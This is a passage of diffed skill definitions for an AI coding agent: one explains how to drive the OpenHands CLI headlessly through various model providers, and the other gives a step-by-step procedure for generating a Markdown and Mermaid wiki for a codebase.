+- User wants a coding agent that can run on a non-Anthropic / non-OpenAI provider (DeepSeek, Qwen, Ollama, vLLM, Nous, etc.) — sibling skills `claude-code` and `codex` are tied to one vendor.
+- Multi-step file edits + shell commands inside a workspace.
+
+For Claude-native, prefer `claude-code`. For OpenAI-native, prefer `codex`. For Hermes-native subagents, use `delegate_task`.
+
+## Prerequisites
+
+1. Install upstream (requires Python 3.12+ and `uv`):
+
+   ```
+   terminal(command="uv tool install openhands --python 3.12")
+   ```
+
+   Verify: `openhands --version` (currently `OpenHands CLI 1.16.0` / `SDK v1.21.0` at time of writing).
+
+2. Pick a model and set env vars for `--override-with-envs`:
+
+   ```
+   export LLM_MODEL=openrouter/openai/gpt-4o-mini       # or any LiteLLM slug
+   export LLM_API_KEY=$OPENROUTER_API_KEY
+   export LLM_BASE_URL=https://openrouter.ai/api/v1     # omit for native OpenAI
+   ```
+
+   `LLM_MODEL` uses LiteLLM's full slug. When the provider is OpenRouter the slug is doubly-prefixed: `openrouter/<vendor>/<model>` (e.g. `openrouter/anthropic/claude-sonnet-4.5`). For native Anthropic: `anthropic/claude-sonnet-4-5`. For native OpenAI: `openai/gpt-4o-mini`.
+
+3. Suppress the startup banner so JSON output isn't preceded by ASCII art:
+
+   ```
+   export OPENHANDS_SUPPRESS_BANNER=1
+   ```
+
+## How to Run
+
+Always invoke through the `terminal` tool. Always pass `--headless --json --override-with-envs --exit-without-confirmation` for automation.
+
+### One-shot task
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=openrouter/openai/gpt-4o-mini LLM_API_KEY=$OPENROUTER_API_KEY LLM_BASE_URL=https://openrouter.ai/api/v1 openhands --headless --json --override-with-envs --exit-without-confirmation -t 'Add error handling to all API calls in src/'",
+  workdir="/path/to/project",
+  timeout=600
+)
+```
+
+### Background for long tasks
+
+```
+terminal(command="<same as above>", workdir="/path/to/project", background=true, notify_on_complete=true)
+process(action="poll", session_id="<id>")
+process(action="log", session_id="<id>")
+```
+
+### Resume a previous conversation
+
+OpenHands prints `Conversation ID: <32-hex>` and a `Hint: openhands --resume <dashed-uuid>` line at the end of each run. Use the dashed form to resume:
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=... openhands --headless --json --override-with-envs --exit-without-confirmation --resume <dashed-uuid> -t 'Now fix the bug you found'",
+  workdir="/path/to/project"
+)
+```
+
+## Real Flag List
+
+Verified against `openhands --help` (CLI 1.16.0). Anything not in this table is not a flag — pass it via env var or settings file.
+
+| Flag | Effect |
+|------|--------|
+| `--headless` | No UI, requires `-t` or `-f`. Auto-approves all actions (no `--llm-approve` in this mode). |
+| `--json` | JSONL event stream (requires `--headless`). |
+| `-t TEXT` | Task prompt. |
+| `-f PATH` | Read task from file. |
+| `--resume [ID]` | Resume conversation. No ID → list recent. |
+| `--last` | Resume most recent (with `--resume`). |
+| `--override-with-envs` | Apply `LLM_API_KEY` / `LLM_BASE_URL` / `LLM_MODEL` env vars. Without this, OpenHands uses `~/.openhands/settings.json` and ignores the env. |
+| `--exit-without-confirmation` | Don't show the "are you sure" exit dialog. |
+| `--always-approve` / `--yolo` | Auto-approve every action (default in `--headless`). |
+| `--llm-approve` | LLM-based security gate (interactive only — does NOT work in headless). |
+| `--version` / `-v` | Print version and exit. |
+
+**There is no `--model`, `--max-iterations`, `--workspace`, `--sandbox`, `--sandbox-type` flag.** Model is `LLM_MODEL`. Workspace is the `workdir` you pass to the `terminal` tool. Sandbox / runtime is the `RUNTIME` and `SANDBOX_VOLUMES` env vars.
+
+## JSON Event Schema
+
+With `--json --headless`, OpenHands emits JSONL — one JSON object per line, plus a handful of non-JSON status lines (`Initializing agent...`, `Agent is working`, `Agent finished`, the final summary box, `Goodbye!`, `Conversation ID:`, `Hint:`). Filter for lines starting with `{`.
+
+Top-level `kind` field discriminates events:
+
+- `MessageEvent` — user / agent text turn. `source` is `user` or `agent`.
+- `ActionEvent` — agent picked a tool. Read `tool_name` (`file_editor`, `terminal`, `finish`) and `action.kind` (`FileEditorAction`, `TerminalAction`, `FinishAction`).
+- `ObservationEvent` — tool result. `observation.is_error` is the success flag. `source` is `environment`.
+- `FinishAction` inside an `ActionEvent` carries the agent's final message in `action.message`.
+
+The cli prints all stderr from LiteLLM/Authlib first — see Pitfalls. Parse only stdout, line by line, ignoring lines that don't start with `{`.
+
+## Pitfalls
+
+- **LiteLLM warnings on every invocation.** The CLI prints `bedrock-runtime` and `sagemaker-runtime` warnings to stderr because `botocore` isn't installed. Plus an Authlib deprecation. These are noise, not failures. Pipe stderr to `/dev/null` or filter it out before showing the user.
+- **Banner spam.** Without `OPENHANDS_SUPPRESS_BANNER=1`, every run starts with a multi-line `+--+` ASCII box advertising the SDK. Always export it.
+- **`--override-with-envs` is mandatory for automation.** Without it, OpenHands ignores `LLM_API_KEY` / `LLM_BASE_URL` / `LLM_MODEL` and falls back to `~/.openhands/settings.json`. On a fresh install this file doesn't exist and the CLI hangs waiting for first-run setup.
+- **Model slug is LiteLLM's, not the provider's.** `openrouter/openai/gpt-4o-mini` works; `openai/gpt-4o-mini` while pointed at OpenRouter does not. `anthropic/claude-sonnet-4-5` (hyphen) is native Anthropic; `openrouter/anthropic/claude-sonnet-4.5` (dot) is via OpenRouter. Get it wrong → cryptic LiteLLM 400.
+- **`pip install openhands-ai` is the wrong package.** That's the legacy V0 SDK. The new CLI is `uv tool install openhands --python 3.12`. There is no maintained conda package.
+- **Resume ID format is fiddly.** The CLI ends with `Conversation ID: f46573d9cfdb45e492ca189bde40019b` (no dashes) and then a `Hint: openhands --resume f46573d9-cfdb-45e4-92ca-189bde40019b` (with dashes). Use the dashed form.
+- **Headless ignores `--llm-approve`.** If you pass it, you get an argparse error. Headless mode hardcodes always-approve.
+- **No Windows support upstream.** The OpenHands docs require WSL on Windows. This skill is gated `[linux, macos]` accordingly.
+- **`~/.openhands/conversations/<id>/` accumulates.** Each run persists a trajectory. Clean it up if running batches.
+- **Heavy install (~200 packages).** Use `uv tool install` (isolated venv) to avoid dependency conflicts with the active project.
+
+## Verification
+
+```
+terminal(
+  command="OPENHANDS_SUPPRESS_BANNER=1 LLM_MODEL=openrouter/openai/gpt-4o-mini LLM_API_KEY=$OPENROUTER_API_KEY LLM_BASE_URL=https://openrouter.ai/api/v1 openhands --headless --json --override-with-envs --exit-without-confirmation -t 'Print the string OPENHANDS_OK to stdout via the terminal tool.'",
+  workdir="/tmp",
+  timeout=120
+)
+```
+
+If the JSONL stream ends with a `FinishAction` whose `action.message` mentions `OPENHANDS_OK`, the install is working.

+The following is the complete skill definition that Hermes loads when this skill is triggered. This is what the agent sees as instructions when the skill is active.
+:::
+
+# Code Wiki Skill
+
+Generate a comprehensive wiki for any codebase — overview, architecture, per-module deep-dives, Mermaid class and sequence diagrams. Inspired by Google CodeWiki, but works on local repos, private repos, and any language. Uses only existing Hermes tools (`terminal`, `read_file`, `search_files`, `write_file`); no Docker, no external services, no extra dependencies.
+
+This skill produces **reference documentation** (what/how). It does not produce strategic narrative (why — that's a different skill).
+
+## When to Use
+
+- User says "document this codebase", "generate a wiki", "make architecture diagrams"
+- Onboarding to an unfamiliar repo and wants a structured reference
+- User points at a GitHub URL and asks for documentation
+- Need a stable artifact (markdown + Mermaid) that renders on GitHub
+
+Do NOT use this for:
+- Single-file or single-function documentation — just answer directly
+- API reference for one specific endpoint — use `read_file` and answer inline
+- Strategic "why does this exist" narrative — different skill, different purpose
+- Codebases the user is actively developing in this session — just answer questions as they come
+
+## Prerequisites
+
+- No env vars required.
+- `git` on PATH for repo SHA tracking and remote clones.
+- Optional: `pygount` for language-breakdown stats (see the `codebase-inspection` skill).
+
+## How to Run
+
+Invoke through the `terminal` tool from the target repo's root, then use `read_file` / `search_files` / `write_file` to produce the wiki. Default output location is `~/.hermes/wikis/<repo-name>/`. Only write into the repo (`docs/wiki/`) when the user explicitly requests it.
+
+## Quick Reference
+
+| Step | Action |
+|---|---|
+| 1 | Resolve target — local cwd, given path, or `git clone --depth 50 <url>` to a temp dir |
+| 2 | Scan structure — `ls`, `find -maxdepth 3`, manifest files, README |
+| 3 | Pick 8–10 modules to document |
+| 4 | Write `README.md` (overview + module map) |
+| 5 | Write `architecture.md` with Mermaid flowchart |
+| 6 | Write per-module docs in `modules/` |
+| 7 | Write `diagrams/class-diagram.md` (Mermaid classDiagram) |
+| 8 | Write `diagrams/sequences.md` (Mermaid sequenceDiagram, 2–4 workflows) |
+| 9 | Write `getting-started.md` |
+| 10 | Write `api.md` if applicable, else skip |
+| 11 | Write `.codewiki-state.json` |
+| 12 | Report paths to user |
+
+## Procedure
+
+### 1. Resolve the target
+
+For a GitHub URL:
+
+```bash
+WIKI_TMP=$(mktemp -d)
+git clone --depth 50 <url> "$WIKI_TMP/repo"
+cd "$WIKI_TMP/repo"
+REPO_SHA=$(git rev-parse HEAD)
+REPO_NAME=$(basename <url> .git)
+```
+
+For a local path (or cwd if none given):
+
+```bash
+cd <path>
+REPO_SHA=$(git rev-parse HEAD 2>/dev/null || echo "uncommitted")
+REPO_NAME=$(basename "$PWD")
+```
+
+Then set the output dir:
+
+```bash
+OUTPUT_DIR="$HOME/.hermes/wikis/$REPO_NAME"
+mkdir -p "$OUTPUT_DIR/modules" "$OUTPUT_DIR/diagrams"
+```
+
+### 2. Scan repo structure
+
+Use the `terminal` tool for the shell work, `read_file` for manifests:
+
+```bash
+# Shallow tree first
+ls -la
+
+# Deeper tree, noise filtered
+find . -type d \
+  -not -path '*/\.*' \
+  -not -path '*/node_modules*' \
+  -not -path '*/venv*' \
+  -not -path '*/__pycache__*' \
+  -not -path '*/dist*' \
+  -not -path '*/build*' \
+  -not -path '*/target*' \
+  -maxdepth 3 | sort
+
+# Language breakdown (skip if pygount unavailable)
+pygount --format=summary \
+  --folders-to-skip=".git,node_modules,venv,.venv,__pycache__,.cache,dist,build,target" \
+  . 2>/dev/null || true
+```
+
+Then `read_file` the relevant manifests (`package.json`, `pyproject.toml`, `setup.py`, `Cargo.toml`, `go.mod`, `pom.xml`, `build.gradle`) and the project README. Use `search_files target='files'` to find them rather than guessing names.
+
+### 3. Pick modules to document
+
+Cap initial pass at **8–10 modules**. Heuristics by language:
+
+- Python: top-level packages (dirs with `__init__.py`), plus subsystem dirs
+- JS/TS: `src/<subdir>`, top-level workspace dirs
+- Rust: each crate in a workspace, or top-level `src/<module>` dirs
+- Go: each top-level package directory
+- Mixed/unfamiliar: top-level directories that contain source code (not config, not tests)
+
+For very large repos, prioritize by:
+1. Imported-from count (a module imported by many is core)
+2. LOC (bigger modules usually warrant their own doc)
+3. Mentions in README / top-level docs
+
+State the module list to the user before generating per-module docs on big repos — gives them a chance to redirect.
+
+### 4. Write `README.md`
+
+`read_file` the actual project README plus the top 2–3 entry-point files. Then `write_file`:
+
+````markdown
+# <Project Name>
+
+<One paragraph: what it is and what it's for. Self-contained — don't assume the
+reader has the source README.>
+
+## Key Concepts
+
+- **<Concept 1>** — <one line>
+- **<Concept 2>** — <one line>
+
+## Entry Points
+
+- [`path/to/main.py`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>) — <what runs when you start it>
+- [`path/to/cli.py`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>) — <CLI surface>
+
+## High-Level Architecture
+
+<2-3 sentences. Detail goes in architecture.md.>
+
+See [architecture.md](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/architecture.md).
+
+## Module Map
+
+| Module | Purpose |
+|---|---|
+| [`<module>`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/modules/<module>.md) | <one-line purpose> |
+
+## Getting Started
+
+See [getting-started.md](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/getting-started.md).
+````
+
+For link targets in local mode use relative paths. For cloned repos use `https://github.com/<owner>/<repo>/blob/<sha>/<path>` so links survive future commits.
+
+### 5. Write `architecture.md`
+
+````markdown
+# Architecture
+
+<2-3 paragraphs: shape of the system. What talks to what. Where data enters,
+where it exits, where state lives.>
+
+## Components
+
+- **<Component>** — <1-2 sentences>. See [`modules/<module>.md`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/modules/<module>.md).
+
+## System Diagram
+
+```mermaid
+flowchart TD
+    User([User]) --> Entry[Entry Point]
+    Entry --> Core[Core Engine]
+    Core --> StorageA[(Database)]
+    Core --> ExternalAPI{{External API}}
+```
+
+## Data Flow
+
+1. **<Step>** — [`<file>`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>)
+2. **<Step>** — [`<file>`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>)
+
+## Key Design Decisions
+
+- <Anything load-bearing the reader should know>
+````
+
+**Mermaid shape semantics:**
+- `[]` = component
+- `[()]` = database / storage
+- `{{}}` = external service
+- `(())` = entry point or terminal
+- `-->` = sync call, `-.->` = async/event
+
+Cap at ~20 nodes per diagram. Split into sub-diagrams if larger.
+
+### 6. Write per-module docs in `modules/`
+
+For each selected module, inspect its layout with `ls`, identify 3–5 most important files (by size, by being named `core.py` / `main.py` / `__init__.py`, by being imported a lot), then `read_file` those files (use `offset` / `limit` to read only what you need; prefer `search_files` for specific symbols).
+
+````markdown
+# Module: `<module>`
+
+<1-2 sentence purpose.>
+
+## Responsibilities
+
+- <bullet>
+- <bullet>
+
+## Key Files
+
+- [`<module>/<file>`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>) — <what it does>
+
+## Public API
+
+<Functions/classes/constants other code uses. Group related items. Show
+signatures, not full implementations.>
+
+## Internal Structure
+
+<How the module is organized internally. State management.>
+
+## Dependencies
+
+- **Used by:** <other modules>
+- **Uses:** <other modules + external libs>
+
+## Notable Patterns / Gotchas
+
+- <Anything non-obvious>
+````
+
+### 7. Write `diagrams/class-diagram.md`
+
+Pick the 5–10 most important classes/types. `read_file` them, then write:
+
+````markdown
+# Class Diagram
+
+## Core Types
+
+```mermaid
+classDiagram
+    class Agent {
+        +string name
+        +list~Tool~ tools
+        +chat(message) string
+    }
+    class Tool {
+        <<interface>>
+        +name string
+        +execute(args) any
+    }
+    Agent --> Tool : uses
+    Tool <|-- TerminalTool
+    Tool <|-- WebTool
+```
+
+## Notes
+
+<Anything the diagram can't express — lifecycle, threading, etc.>
+````
+
+For languages without classes (Go, C, Rust): use the diagram for struct relationships, or skip class-diagram.md and explain it in prose in architecture.md. Don't force-fit.
+
+### 8. Write `diagrams/sequences.md`
+
+Pick 2–4 of the most important workflows. Trace each call path through the code (read entry point, follow function calls), then:
+
+````markdown
+# Sequence Diagrams
+
+## Workflow: <Name>
+
+<1 sentence describing what this does and when it runs.>
+
+```mermaid
+sequenceDiagram
+    participant User
+    participant CLI
+    participant Agent
+    participant LLM
+    User->>CLI: types message
+    CLI->>Agent: chat(message)
+    Agent->>LLM: API call
+    LLM-->>Agent: response + tool_calls
+    Agent->>Agent: execute tools
+    Agent-->>CLI: final response
+```
+
+### Walkthrough
+
+1. **User input** — [`cli.py:HermesCLI.run_session`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>)
+2. **Message dispatch** — [`run_agent.py:AIAgent.chat`](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/<link>)
+````
+
+Don't invent participants. Every box must correspond to a real component the reader can find in the code.
+
+### 9. Write `getting-started.md`
+
+````markdown
+# Getting Started
+
+## Prerequisites
+
+<From manifest files + README. Be specific — versions if pinned.>
+
+## Installation
+
+```bash
+<exact commands>
+```
+
+## First Run
+
+```bash
+<minimum command to see the system do something useful>
+```
+
+## Common Workflows
+
+### <Workflow 1>
+<commands>
+
+## Configuration
+
+- `<config-file>` — <what it controls>
+- Env var `<VAR>` — <what it controls>
+
+## Where to Go Next
+
+- Architecture: [architecture.md](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/architecture.md)
+- Module reference: [README.md#module-map](https://github.com/NousResearch/hermes-agent/blob/main/optional-skills/software-development/code-wiki/README.md#module-map)
+````
+
+### 10. Write `api.md` (skip if not applicable)
+
+Only write this if the project is a library or API server. If it is:
+
+- Find the public API surface (`__init__.py` exports, OpenAPI specs, route handlers, exported types)
+- Document each public entry with signature, parameters, return type, one-line description
+- Group by category
+
+### 11. Write the state file
+
+```bash
+cat > "$OUTPUT_DIR/.codewiki-state.json" <<EOF
+{
+  "repo_name": "$REPO_NAME",
+  "source_path": "$PWD",
+  "source_sha": "$REPO_SHA",
+  "generated_at": "$(date -u +%Y-%m-%dT%H:%M:%SZ)",
+  "generator": "hermes-agent code-wiki skill v0.1.0",
+  "modules_documented": []
+}
+EOF
+```
+
+### 12. Report to user
+
+State exactly what was generated and where:
+
+```
+Generated wiki at ~/.hermes/wikis/<repo-name>/:
+  README.md                   project overview, module map
+  architecture.md             system architecture + flowchart
+  getting-started.md          setup, first run, workflows
+  modules/<N files>           per-module deep-dives
+  diagrams/architecture.md    Mermaid flowchart
+  diagrams/class-diagram.md   Mermaid class diagram
+  diagrams/sequences.md       Mermaid sequence diagrams
+```
+
+If you cloned to a temp dir, remind the user it can be removed (`rm -rf "$WIKI_TMP"`) after they've reviewed the wiki.
+
+## Scope Control
+
+Generating a full wiki for a 500K-LOC monorepo is wildly token-expensive. Default to bounded scope:
+
+- Initial scan: max depth 3 directories
+- Per-module docs: cap at 10 modules unless user expands scope
+- Per-file reads: prefer `search_files` for symbols + `read_file` with `offset`/`limit` over full reads
+- Skip vendored code (`vendor/`, `third_party/`, generated code, `_pb2.py`, `.min.js`)
+
+If the user says "do the whole thing exhaustively", believe them — but ballpark the cost first: "this repo has ~340 source files, comprehensive coverage will be expensive — confirm?"
+
+## Re-Run / Update
+
+If `.codewiki-state.json` already exists at the target path:
+
+- Read it for previous SHA and module list
+- If source SHA matches: ask user if they want to regenerate or skip
+- If SHA differs: offer to regenerate only modules with changed files (`git diff --name-only <old-sha> HEAD`)
+
+Full incremental-regeneration is a future enhancement — for now, regenerating the whole thing is acceptable.
+
+## Pitfalls
+
+- **Fabricating components.** Every diagram node and claimed function call must be in the source. `read_file` before writing. The single biggest failure mode for auto-generated docs is plausible-sounding fabrication.
+- **Generic AI prose.** "This module is responsible for..." is content-free. Say what the module actually does in domain-specific terms.
+- **Restating code as prose.** A module doc that says "the `process` function processes things by calling `process_item` on each item" is worse than just linking to the function.
+- **Mermaid > 50 nodes.** They don't render legibly. Split them.
+- **Documenting tests, generated code, or vendored deps as if they were product code.** Skip them.
+- **In-repo output without asking.** Default is `~/.hermes/wikis/`. Only write into the repo when the user explicitly requests it.
+- **Mermaid special chars need quotes:** `A["Tool / Agent"]` not `A[Tool / Agent]`. `<br>` for line breaks inside a node.
+- **Nested code fences in SKILL.md.** When writing a markdown example that contains a Mermaid block, use 4-backtick outer fences so the 3-backtick inner ` ```mermaid ` doesn't close the outer. (This SKILL.md does it.)
+- **classDiagram generics** render as `~T~` (e.g. `List~Tool~`), not `<T>`.
+- **GitHub Mermaid theme is fixed** — don't include `%%{init: ...}%%` blocks; they're stripped on render.
+
+## Verification
+
+After writing, verify:
+
+1. **Mermaid blocks balance** — opens equal closes per file:
+   ```bash
+   for f in "$OUTPUT_DIR"/diagrams/*.md "$OUTPUT_DIR"/architecture.md; do
+     opens=$(grep -c '^```mermaid' "$f")
+     total=$(grep -c '^```' "$f")
+     echo "$f: $opens mermaid blocks, $total total fences (expect total = opens*2)"
+   done
+   ```
+2. **All expected files exist** —
+   ```bash
+   ls "$OUTPUT_DIR"/{README.md,architecture.md,getting-started.md,.codewiki-state.json} \
+      "$OUTPUT_DIR"/modules/ "$OUTPUT_DIR"/diagrams/
+   ```
+3. **Module count matches what you intended** — `ls "$OUTPUT_DIR/modules" | wc -l` should equal the number of modules you committed to in Step 3.
+4. **No fabricated paths** — sanity-check 2–3 source links resolve to real files.
